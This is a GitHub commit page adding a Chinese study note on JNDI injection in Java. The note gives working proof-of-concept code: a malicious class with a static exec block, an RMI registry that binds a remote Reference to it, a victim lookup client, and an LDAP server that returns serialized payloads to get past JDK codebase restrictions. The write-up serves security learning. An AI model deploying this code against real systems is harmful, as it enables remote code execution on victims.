Skip to content

Commit 9ced8e9

Browse files
committed
JNDI
1 parent b88c5ff commit 9ced8e9

3 files changed

Lines changed: 279 additions & 1 deletion

File tree

2021/JNDI注入.md

Lines changed: 276 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,276 @@
1+
## JNDI注入
2+
3+
**文中环境代码上传到https://github.com/SummerSec/JavaLearnVulnerability/tree/master/RMI%20JRMP%20JNDI**
4+
5+
`此文只是一篇笔记,所以有点乱。`
6+
7+
8+
9+
将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行
10+
11+
![image-20210427154417233](https://gitee.com/samny/images/raw/master/17u44er17ec/17u44er17ec.png)
12+
13+
### jndi注入的利用条件
14+
15+
- 客户端的lookup()方法的参数可控
16+
- 服务端在使用Reference时,classFactoryLocation参数可控~
17+
18+
上面两个都是在编写程序时可能存在的脆弱点(任意一个满足就行),除此之外,jdk版本在jndi注入中也起着至关重要的作用,而且不同的攻击响亮对jdk的版本要求也不一致,这里就全部列出来:
19+
20+
21+
- JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
22+
23+
- JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
24+
25+
- JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
26+
27+
28+
### jndi注入 demo
29+
30+
- 创建一个恶意对象
31+
32+
```
33+
import javax.lang.model.element.Name;
34+
import javax.naming.Context;
35+
import java.io.BufferedInputStream;
36+
import java.io.BufferedReader;
37+
import java.io.IOException;
38+
import java.io.InputStreamReader;
39+
import java.util.HashMap;
40+
41+
public class EvilObj {
42+
public static void exec(String cmd) throws IOException {
43+
String sb = "";
44+
BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
45+
BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
46+
String lineStr;
47+
while((lineStr = inBr.readLine()) != null){
48+
sb += lineStr+"\n";
49+
50+
}
51+
inBr.close();
52+
inBr.close();
53+
}
54+
55+
public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
56+
return null;
57+
}
58+
59+
static {
60+
try{
61+
exec("gnome-calculator");
62+
}catch (Exception e){
63+
e.printStackTrace();
64+
}
65+
}
66+
}
67+
```
68+
69+
70+
71+
可以看到这里利用的是static代码块执行命令
72+
73+
- 创建rmi服务端,绑定恶意的Reference到rmi注册表
74+
75+
```java
76+
import com.sun.jndi.rmi.registry.ReferenceWrapper;
77+
78+
import javax.naming.NamingException;
79+
import javax.naming.Reference;
80+
import java.rmi.AlreadyBoundException;
81+
import java.rmi.RemoteException;
82+
import java.rmi.registry.LocateRegistry;
83+
import java.rmi.registry.Registry;
84+
85+
public class Server {
86+
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
87+
Registry registry = LocateRegistry.createRegistry(1099);
88+
String url = "http://127.0.0.1:6666/";
89+
System.out.println("Create RMI registry on port 1099");
90+
Reference reference = new Reference("EvilObj", "EvilObj", url);
91+
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
92+
registry.bind("evil", referenceWrapper);
93+
}
94+
95+
}
96+
```
97+
98+
- 创建一个客户端(受害者)
99+
100+
```java
101+
import javax.naming.Context;
102+
import javax.naming.InitialContext;
103+
import javax.naming.NamingException;
104+
105+
public class Client {
106+
public static void main(String[] args) throws NamingException {
107+
Context context = new InitialContext();
108+
context.lookup("rmi://localhost:1099/evil");
109+
}
110+
}
111+
```
112+
113+
可以看到这里的lookup方法的参数是指向我设定的恶意rmi地址的。
114+
115+
116+
然后先编译该项目,生成class文件,然后在class文件目录下用python启动一个简单的HTTP Server:
117+
118+
`python -m SimpleHTTPServer 6666`
119+
120+
执行上述命令就会在6666端口、当前目录下运行一个HTTP Server:
121+
122+
![image-20210427154732163](https://gitee.com/samny/images/raw/master/32u47er32ec/32u47er32ec.png)
123+
124+
然后运行Server端,启动rmi registry服务
125+
126+
![](https://gitee.com/samny/images/raw/master/47u47er47ec/47u47er47ec.png)
127+
128+
129+
130+
成功弹出计算器。注意,我这里用到的jdk版本为jdk7
131+
132+
![image-20210427154801968](https://gitee.com/samny/images/raw/master/2u48er2ec/2u48er2ec.png)
133+
134+
135+
136+
---
137+
138+
### 高版本JDK绕过,使用序列化对象进行Bypass
139+
140+
其实一直以来JNDI有两种方式注入
141+
142+
LDAP can be used to store Java objects by using several special Java attributes. There are at least two ways a Java object can be represented in an LDAP directory:
143+
144+
● Using Java serialization
145+
https://docs.oracle.com/javase/jndi/tutorial/objects/storing/serial.html
146+
● Using JNDI References
147+
https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html
148+
149+
![img](https://gitee.com/samny/images/raw/master/summersec//14u24er14ec/14u24er14ec.png)
150+
151+
152+
153+
* JDK 6u132, JDK 7u122, JDK 8u113中添加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。
154+
155+
**导致jndi的rmi reference方式失效,但ldap的reference方式仍然可行**
156+
157+
* Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false。
158+
159+
**导致jndi的ldap reference方式失效,到这里为止,远程codebase的方式基本失效,除非认为设为tr**
160+
161+
162+
163+
**com/sun/jndi/ldap/Obj.java做了两个判断1. reference 2. Serializable**
164+
165+
![img](https://gitee.com/samny/images/raw/master/summersec//46u24er46ec/46u24er46ec.png)
166+
167+
168+
169+
一是利用远程codebase的方式,二是利用本地ClassPath里的反序列化利用链。在最新版的jdk8u中,codebase的方式依赖com.sun.jndi.ldap.object.trustURLCodebase的值,而第二种方式仍未失效。
170+
171+
如果在返回的属性中存在javaSerializedData,将继续调用deserializeObject函数,该函数主要就是调用常规的反序列化方式readObject对序列化数据进行还原
172+
173+
![image-20211130152733686](https://gitee.com/samny/images/raw/master/summersec//33u27er33ec/33u27er33ec.png)
174+
175+
实现代码:
176+
177+
```
178+
package summersec.ldap;
179+
180+
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
181+
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
182+
import com.unboundid.ldap.listener.InMemoryListenerConfig;
183+
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
184+
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
185+
import com.unboundid.ldap.sdk.Entry;
186+
import com.unboundid.ldap.sdk.LDAPException;
187+
import com.unboundid.ldap.sdk.LDAPResult;
188+
import com.unboundid.ldap.sdk.ResultCode;
189+
import com.unboundid.util.Base64;
190+
import java.io.FileInputStream;
191+
import java.net.InetAddress;
192+
import java.net.MalformedURLException;
193+
import java.net.URL;
194+
import java.text.ParseException;
195+
import javax.net.ServerSocketFactory;
196+
import javax.net.SocketFactory;
197+
import javax.net.ssl.SSLSocketFactory;
198+
199+
public class LdapServer {
200+
private static final String LDAP_BASE = "dc=example,dc=com";
201+
202+
public LdapServer() {
203+
}
204+
205+
public static String readFile(String filePath) throws Exception {
206+
String result = "ser.payload";
207+
return result;
208+
}
209+
210+
public static void main(String[] args) throws Exception {
211+
String url = "http://127.0.0.1/#T";
212+
String ports = "8080";
213+
int port = 8080;
214+
String file = "1.ser";
215+
String POC = readFile(file);
216+
217+
218+
try {
219+
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[]{"dc=example,dc=com"});
220+
config.setListenerConfigs(new InMemoryListenerConfig[]{new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory)SSLSocketFactory.getDefault())});
221+
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url), POC));
222+
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
223+
System.out.println("Listening on 0.0.0.0:" + port);
224+
ds.startListening();
225+
} catch (Exception var8) {
226+
var8.printStackTrace();
227+
}
228+
229+
}
230+
231+
private static class OperationInterceptor extends InMemoryOperationInterceptor {
232+
private URL codebase;
233+
private String POC;
234+
235+
public OperationInterceptor(URL cb, String POC) {
236+
this.codebase = cb;
237+
this.POC = POC;
238+
}
239+
240+
public void processSearchResult(InMemoryInterceptedSearchResult result) {
241+
String base = result.getRequest().getBaseDN();
242+
Entry e = new Entry(base);
243+
244+
try {
245+
this.sendResult(result, base, e);
246+
} catch (Exception var5) {
247+
var5.printStackTrace();
248+
}
249+
250+
}
251+
252+
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
253+
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
254+
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
255+
e.addAttribute("javaClassName", "Exploit");
256+
String cbstring = this.codebase.toString();
257+
int refPos = cbstring.indexOf(35);
258+
if (refPos > 0) {
259+
cbstring.substring(0, refPos);
260+
}
261+
try {
262+
e.addAttribute("javaSerializedData", Base64.decode(this.POC));
263+
} catch (ParseException var8) {
264+
var8.printStackTrace();
265+
}
266+
result.sendSearchEntry(e);
267+
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
268+
}
269+
}
270+
}
271+
```
272+
273+
274+
275+
可以使用项目[LdapBypassJndi](https://github.com/Firebasky/LdapBypassJndi),工具将代码实现了ldap序列化对象的漏洞利用。
276+

2021/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,4 +12,5 @@
1212
| 08/03 | [从Java反序列化漏洞题看CodeQL数据流](./从Java反序列化漏洞题看CodeQL数据流.md) | CodeQL/Java |
1313
| 11/09 | [记一次Log4j失败的Gadget挖掘记录](./记一次Log4j失败的Gadget挖掘记录.md) | CodeQL/Java |
1414
| 11/15 | [ysoserial改造记录](./ysoserial改造记录.md) | ysoserial/Java |
15+
| 11/30 | [JNDI注入](./JNDI注入.md) | JNDI/Java |
1516

README.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,8 @@
2121
| 07/21 | [Tomcat通用回显学习笔记](./2021/Tomcat通用回显学习笔记.md) | Java |
2222
| 08/03 | [从Java反序列化漏洞题看CodeQL数据流](./2021/从Java反序列化漏洞题看CodeQL数据流.md) | CodeQL |
2323
| 11/09 | [记一次Log4j失败的Gadget挖掘记录](./2021/记一次Log4j失败的Gadget挖掘记录.md) | CodeQL/Java |
24-
| 11/15 | [ysoserial改造记录](./2021/ysoserial改造记录.md) | ysoserial/Java |
24+
| 11/15 | [ysoserial改造记录](./2021/ysoserial改造记录.md) | ysoserial/Java |
25+
| 11/30 | [JNDI注入](./2021/JNDI注入.md) | JNDI/Java |
2526

2627

2728

0 commit comments

Comments
 (0)